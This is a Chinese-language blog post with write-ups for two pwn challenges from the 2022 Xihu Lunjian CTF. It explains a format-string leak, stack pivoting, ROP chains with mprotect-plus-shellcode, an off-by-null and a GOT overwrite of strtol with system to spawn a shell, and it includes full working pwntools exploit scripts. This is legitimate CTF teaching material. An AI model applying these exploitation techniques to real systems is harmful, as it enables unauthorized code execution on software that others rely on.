首页 > 其他分享 >2022西湖论剑pwn

2022西湖论剑pwn

时间:2023-02-04 10:22:46浏览次数:53  
标签:addr libc 地址 add base 2022 pwn model 论剑

pwn

message board

程序保护

首先查程序保护、沙箱,只能读取flag。

1675338926198

1675352771774

另外题目给了libc库的附件,需要我们对程序先进行patch再调试。可以利用patchelf进行patch,因为与解题并没有特别大的关系,具体patch方法可以百度,这里不赘述,仅给出patch后的结果。

1675348952211

漏洞分析

在静态分析程序的main函数。可以很明显的看出,第一次输入name的时候存在格式化字符串漏洞,限制了输入的name最长0x8字节。第二次输入0xc0字节,buf栈的长度只有176(0xb0),溢出0x10字节,可以利用栈迁移。

1675338988638

因为我们能够控制程序的输入只有一次,就是程序中的第二次输入,同时需要进行栈迁移利用,所以需要知道在整个栈帧(rsp--rbp)迁移之前,栈内有什么特殊的地址(第二次输入的起始地址),这样就可以控制rsp到我们输入的起始地址执行构造好的ROPchain。就进入动态调试查看。进入调试先在puts处(0x00000000040131E)下断点。然后再单步步过查看第二个read函数。(第一个read函数等会再讲)
1675349807127

可以看到read函数的输入点是在0x7fffffffdea0处,所以在栈迁移第一次leave_ret的时候将rbp迁移到0x7fffffffdea0 - 0x8处,即在0x7fffffffdf50处写入0x7fffffffde98,同时将rbp + 0x8处设为leave_ret 的gad。

1675350459894

这样子就可以控制程序执行输入的ropchain了。我们设计ropchain为先打一个mprotect修改页保护权限,再读入并执行shellcode。执行mprotect和read函数都需要控制rdi、rsi、rdx三个寄存器。但是elf中可以利用的只有rdi和rsi两个寄存器,rdx的寄存器可以从libc库中寻找,这就需要获得libc的基地址了。另外设计栈迁移的地址,还需要知道read函数读入的地址,因此就需要泄露两个地址,一个是read读入的栈地址,另一个是libc其中某个函数的地址。

1675350702852

这样就知道前面name读入处的格式化字符串漏洞有何用处了。利用格式化字符串,泄露栈上地址和__libc_start_main + 243的地址。通过观察第一次的read和printf函数,可以发现rsi指向的地址与目的地址0x7fffffffdea0相差0x10的偏移。所以第一次可以输入”%p%31p“的name,来获得需要的两个地址。

1675352054739

整个攻击的思路就是格式化字符泄露栈内地址和libc地址,进行栈迁移控制程序,后面就是常规的利用libc基地址和gad构造ropchain来进行攻击了。

exp

#!/usr/bin/env python3
from pwn import *
p = process("./pwn")
# p = remote("tcp.cloud.dasctf.com",20866)
elf = ELF("./pwn")
libc = ELF("./libc.so.6")
context(arch='amd64',os='linux',log_level='debug',endian='little')  #64位架构
#-----------------------------------------------------------------------
s       = lambda data               :p.send(data)
sa      = lambda delim,data         :p.sendafter(delim, data)
sl      = lambda data               :p.sendline(data)
sla     = lambda delim,data         :p.sendlineafter(str(delim), str(data))
r       = lambda num=4096           :p.recv(num)
ru      = lambda delims, drop=True  :p.recvuntil(delims, drop)
itr     = lambda                    :p.interactive()
uu32    = lambda data               :u32(data.ljust(4,b'\x00'))
uu64    = lambda data               :u64(data.ljust(8,b'\x00'))
leak    = lambda name,addr          :log.success('{} = {:#x}'.format(name, addr))
def debug():
        gdb.attach(p,"b *0x401367")
        pause()
debug()
sa("name:", "%p,%31$p")
ru("Hello, ")
# debug()
name = ru("Now")
log.success(name)
stack_addr = name[:14]
stack_addr = int(stack_addr,base  =16)

libc_addr = name[15: 15+14]
libc_addr = int(libc_addr,base = 16)

leak("stack addr", stack_addr)
leak("libc addr", libc_addr)

# lbs = set_current_libc_base_and_log(libc_addr, 0x24083)
libc_base = (libc_addr-243) - libc.sym["__libc_start_main"]
leak("libc_base",libc_base)
system = libc_base + libc.sym['system']
leak("system",system)
mproetct = libc_base +libc.sym["__mprotect"]
read = libc_base + libc.sym["read"]
pop_rdx = libc_base + 0x0000000000142c92
# debug()

leave_ret = 0x00000000004012e1
pop_rdi = 0x0000000000401413
pop_rsi_r15 = 0x0000000000401411
mprotect_call = flat(pop_rdi,0x404000,pop_rsi_r15,0x1000,0,pop_rdx,7,mproetct)
read_call = flat(pop_rdi,0,pop_rsi_r15,0x404000,0,pop_rdx,0x200,read)
sa("DASCTF:", fit({
    0: (mprotect_call + read_call + p64(0x404000)),
    0xb0: p64(stack_addr + 0x8) + p64(leave_ret)
}))

s(asm(shellcraft.cat(b"./flag")))

itr()

get flag。

1675338542731

babycalc

程序保护

老规矩,检查程序保护。

1675385118757

程序分析

接着直接看ida反汇编,检查漏洞。在反汇编可以清楚看到,程序会循环读入16个数据,并转换为long int 类型存储在v3这个地址上,同时后面对v3-v18的数值进行了检测,这16个数据是存储在栈上的,因此可以构造这些数据进行检测的绕过,动态调试的时候会更清楚的看到这些数据是如何存储的,方便构造。

第一个红色框处程序每次最多可以读入0x100个字节,同时将buf下标为读入字节处的值赋为0,就有off-by-none的漏洞了。第二个红色框处因为没有对i的数值进行检测,也可以被利用,下面再讲。

1675385243439

退出反汇编可以看到,每次strtol后的数据,都会存储到edx寄存器上,然后再取低位16字节存储到[rbp + rax +var_30]地址上。var_30是固定字节-0x30,rax是从[rbp - var_4]获得的,也就是rbp - 0x4的位置上,同时这个地址也是在栈上,是可以写入覆盖的。因此除了off-by-none的漏洞,还可以控制(rbp -0x30 + 0x20) ---(rbp - 0x30 + 0xff)中间的某一个字节。

1675385857654

动态调试中可以看到,利用off-by-none的漏洞,修改rbp低位一字节,可以让rbp跳到栈帧内的地址上。需要再找一个leave_ret的gad对rsp进行控制。

1675387589845

ROPgadget查找0x400c00-0x400cff中间的gad,再利用第二个漏洞来进行覆盖修改ret地址实现栈迁移。控制程序执行后构造ropchain,利用puts函数获得libc地址获得system。

ROPgadget --binary ./babycalc --range 0x400c00-0x400cff|grep leave

1675387881165

顺便找出pop rbx的地址,配合read函数实现任意地址再次写。

ROPgadget --binary ./babycalc --only "pop|rbp|ret"

1675388377159

可以看到read函数执行完后会正常执行strtol函数,那么任意地址写可以打一个hijcak got,修改strtol函数的got表为system,并将rbp - 0x100地址内容修改为"/bin/sh\x00",即可getshell

1675388623512

1675389323851

exp

#!/usr/bin/env python3
#tcp.cloud.dasctf.com:28504
from pwn import *
from LibcSearcher import *
context(os="linux",arch = "amd64")
context.log_level = "debug"
p = process("./babycalc")
# p = remote("tcp.cloud.dasctf.com",25998)
# p = remote("")
elf = ELF("./babycalc")
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
def find_libc(function,function_address,path=""):
    # print(type(function))==>str
    if path == "":
        libc = LibcSearcher(function,function_address)
        libc_base = function_address - libc.dump(function)
        system = libc_base + libc.dump("system") 
        binsh = libc_base + libc.dump("str_bin_sh")
    else:
        libc = ELF(path)
        libc_base = function_address - libc.sym[function]
        system = libc_base + libc.sym["system"]
        binsh = libc_base + libc.search(b"/bin/sh").__next__()
    leak(system)
    leak(binsh)
    return (system,binsh,libc_base)
r = lambda length: p.recv(length)
ru = lambda x : p.recvuntil(x)
s = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
itr = lambda : p.interactive()
leak = lambda addr : log.success("{:x}".format(addr))
def debug():
    gdb.attach(p)
    pause()
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
from z3 import *
# v3,v4,v5,v6,v7,v8,v9,v10,v11,v12,v13,v14,v15,v16,v17,v18 = Ints("v3 v4 v5 v6 v7 v8 v9 v10 v11 v12 v13 v14 v15 v16 v17 v18")

# s = Solver()
# s.add(v5 * v4 * v3 - v6 == 36182)
# s.add( v3 == 19)
# s.add( v5 * 19 * v4 + v6 == 36322)
# s.add( (v13 + v3 - v8) * v16 == 32835)
# s.add( (v4 * v3 - v5) * v6 == 44170)
# s.add( (v5 + v4 * v3) * v6 == 51590)
# s.add( v9 * v8 * v7 - v10 == 61549)
# s.add( v10 * v15 + v4 + v18 == 19037)
# s.add( v9 * v8 * v7 + v10 == 61871)
# s.add( (v8 * v7 - v9) * v10 == 581693)
# s.add( v11 == 50)
# s.add( (v9 + v8 * v7) * v10 == 587167)
# s.add( v13 * v12 * v11 - v14 == 1388499)
# s.add( v13 * v12 * v11 + v14 == 1388701)
# s.add( (v12 * v11 - v13) * v14 == 640138)
# s.add( (v11 * v5 - v16) * v12 == 321081)
# s.add( (v13 + v12 * v11) * v14 == 682962)
# s.add( v17 * v16 * v15 - v18 == 563565)
# s.add( v17 * v16 * v15 + v18 == 563571)
# s.add( v14 == 101)
# s.add( (v16 * v15 - v17) * v18 == 70374)
# s.add( (v17 + v16 * v15) * v18 == 70518)

# if s.check() == sat:
#     model = s.model()

# print("v3 = ", model[v3])
# print("v4 = ", model[v4])
# print("v5 = ", model[v5])
# print("v6 = ", model[v6])
# print("v7 = ", model[v7])
# print("v8 = ", model[v8])
# print("v9 = ", model[v9])
# print("v10 = ", model[v10])
# print("v11 = ", model[v11])
# print("v12 = ", model[v12])
# print("v13 = ", model[v13])
# print("v14 = ", model[v14])
# print("v15 = ", model[v15])
# print("v16 = ", model[v16])
# print("v17 = ", model[v17])
# print("v18 = ", model[v18])
#+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
v3 = 19
v11 = 50
v14 = 101
v13 = 212
v16 = 199
v6 = 70
v4 = 36
v5 = 53
v9 = 17
v17 = 24
v15 = 118
v18 = 3
v7 = 55
v12 = 131
v10 = 161
v8 = 66


data = [
v3 ,
v4 ,
v5 ,
v6 ,
v7 ,
v8 ,
v9 ,
v10,
v11,
v12,
v13,
v14,
v15,
v16,
v17,
v18,  
]

puts_got = elf.got["puts"]
puts_plt = elf.plt["puts"]
ret = 0x00000000004005b9
pop_rbp_ret = 0x00000000004006b0
pop_rdi_ret = 0x0000000000400ca3
read_func = 0x00000000004007B4

ret_all = p64(ret) * 19
pp1 = flat(ret_all,pop_rdi_ret,puts_got,puts_plt,pop_rbp_ret,0x602018+0x100,read_func)

payload = fit(
    {
        0:  str(0x17) + "\x00",
        0x8: pp1,
        0x100-0x30: [
        p8(v3),
        p8(v4),
        p8(v5),
        p8(v6),
        p8(v7),
        p8(v8),
        p8(v9),
        p8(v10),
        p8(v11),
        p8(v12),
        p8(v13),
        p8(v14),
        p8(v15),
        p8(v16),
        p8(v17),
        p8(v18)
    ],
        0x100-0x4: p32(0x38)
    },length=0x100
)
#puts b *0x000000000400BA6
ru("number")
debug()
s(payload)
# p.recvuntil("good done\n",drop = True)
puts_addr = u64(ru(b"\x7f")[-6:].ljust(8,b"\x00"))
leak(puts_addr)
(system,binsh,libc_base) = find_libc("puts",puts_addr,path = b"/lib/x86_64-linux-gnu/libc.so.6")
# (system,binsh,libc_base) = find_libc("puts",puts_addr,path = b"./libc6_2.23-0ubuntu11.3_amd64.so")
leak(libc_base)
payload2 = flat(
    {
        0x0: b"/bin/sh\x00",
        # 0x0: b"cat flag\x00",
        0x20: system
    },filler = b"a")
# debug()
s(payload2)
itr()



1675476996406

标签:addr,libc,地址,add,base,2022,pwn,model,论剑
From: https://www.cnblogs.com/Tw0YY/p/17090946.html

相关文章

  • 2022React学习笔记,欢迎批评和指正。
    前言:这是一篇自学笔记,帮助自己的React学习,此学习笔记中只记录教程中对我来说比较又触动的点。观看的视频教程链接如下:001_尚硅谷react教程_react简介_哔哩哔哩_bilibili......
  • 2022浙江高考数学导数压轴解析
    题目:已知函数\(f(x)=\frac{e}{2x}+\ln{⁡x}\)上存在不同的三点\((x1,f(x1)),(x2,f(x2)),(x3,f(x3)),\)且曲线\(y=f(x)\)经过这三点的切线都经过点\((a,b).\)(Ⅰ)......
  • [西湖论剑 2023 初赛] Reverse赛题复现
    BabyRE有人昨天以为rc4用的就是空秘钥,那么他是谁呢通过在字符串里找到DASCTF的关键字,一直交叉引用可以找到主要逻辑这里注册的三个函数就是整个题的流程了第一个函数......
  • P8368 [LNOI2022] 串 题解
    题目链接题目分析题目要求我们构造一个最长的\(T\)序列,我们首先从每个\(T_i\)入手,思考如何安排才能合法。容易观察到对于每个\(T_i\),合法的\(T_{i-1}\)有两种方......
  • 「解题报告」[省选联考 2022] 学术社区
    摆烂了,不想写代码了。我怎么这么菜啊,看题解里说的各种思路,我一个都没想到。哭考虑给每个消息建一个点,每两个点之间连边\(x\toy\),边权为将\(y\)接在\(x\)后头能......
  • VS2022使用WSL调试程序时卡在下载vsdebugger-已解决
    注:如果是安装一半以为卡了把控制台关了。后来使用WSL启动一直提示报错,但也不能像初次启动那样出现安装VisualStudio调试器的提示下述方法也能解决,缘由是删了子系统重装发......
  • 番外篇:2022 不尽如人意的一年
    写在前面说实话,2022年真的没有达到我预想的那样,晋升没有没有我的机会,年底绩效平平无奇,究竟是能力不行还是其他问题?能力不行?首先公司测试团队70多人,测试开发只有两个,其......
  • 捷报频传 | 中睿天下再获“2022信创产业实干者企业”荣誉称号
    近日,国内信创专业媒体“信创产业”正式公布“2022信创产业实干者”申报结果,同期发布信创产业实干者全景图。作为以“实战对抗”为特点的能力价值型网络安全厂商,中睿天下凭借......
  • 开年迎喜 | 东进技术入选《CCSIP 2022中国网络安全行业全景册》
    近日,FreeBuf咨询正式发布《CCSIP(ChinaCyberSecurityPanorama)2022中国网络安全行业全景册(第五版)》。东进技术凭借优秀的技术应用和市场表现,成功入选通信网络安全、身份识......
  • 对话阿里云叔同:如何看待 2022 年云原生的发展,2023 年有哪些值得关注的技术?
    作者:阿里巴巴中间件软件架构发展至今,经历了从单体架构、互联网分布式架构、到现在的Serverless架构。2022年,云原生技术以势不可挡的之势,大规模在不同行业落地,并依然霸占......